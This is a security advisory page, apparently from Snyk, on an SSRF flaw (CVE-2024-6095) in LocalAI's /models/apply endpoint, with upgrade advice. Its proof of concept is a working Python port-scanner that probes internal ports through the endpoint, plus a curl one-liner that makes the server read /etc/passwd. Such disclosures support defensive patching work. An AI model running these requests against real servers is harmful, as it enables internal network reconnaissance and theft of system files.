Server-Side Request Forgery (SSRF) Affecting github.com/mudler/localai/core package, versions <2.17.0


Severity

Recommended
0.0
medium
0
10

CVSS assessment made by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of concept
EPSS
0.11% (45th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications

Snyk Learn

Learn about Server-Side Request Forgery (SSRF) vulnerabilities in an interactive lesson.

Start learning
  • Snyk IDSNYK-GOLANG-GITHUBCOMMUDLERLOCALAICORE-7430241
  • published8 Jul 2024
  • disclosed6 Jul 2024
  • creditEvgenii Shein

Introduced: 6 Jul 2024

CVE-2024-6095  (opens in a new tab)
CWE-918  (opens in a new tab)

How to fix?

Upgrade github.com/mudler/LocalAI/core to version 2.17.0 or higher.

Overview

Affected versions of this package are vulnerable to Server-Side Request Forgery (SSRF) through the /models/apply endpoint. An attacker can gain unauthorized access to internal HTTP(s) servers and partially read local files by crafting malicious requests that exploit the endpoint's support for both http(s):// and file:// schemes.

PoC


import requests

# ANSI color codes
RED = '\033[0;31m'
GREEN = '\033[0;32m'
NC = '\033[0m'  # No Color

# Top 50 ports
top_http_ports = [80, 8080, 443, 8000, 8008, 8081, 8888, 8880, 8001, 8002, 8003, 8004, 8005, 8006, 8007, 8009, 8010, 8011, 8012, 8013, 8014, 8015, 8016, 8017, 8018, 8019, 8020, 8021, 8022, 8023, 8024, 8025, 8026, 8027, 8028, 8029, 8030, 8031, 8032, 8033, 8034, 8035, 8036, 8037, 8038, 8039, 8040, 8041, 8042, 8043, 8044, 8045, 8046, 8047]

for port in top_http_ports:
    # Change this variable according to your desired IP or DOMAIN
    url = f"http://192.168.1.100:{port}/"
    
    response = requests.post("http://192.168.1.100:8080/models/apply", json={"url": url}).json()
    uuid = response.get('uuid')
    
    job_response = requests.get(f"http://192.168.1.100:8080/models/jobs/{uuid}").text
    
    if "connection refused" in job_response:
        print(f"{RED}Port {port} (UUID = {uuid}) is closed{NC}")
    else:
        print(f"{GREEN}Port {port} (UUID = {uuid}) is listening{NC}")
curl -s $(curl -s "http://192.168.1.100:8080/models/apply" -H "Content-Type: application/json" -d "{\"url\": \"file:///etc/passwd\"}" | jq -r '.status') | jq

CVSS Scores

version 4.0
version 3.1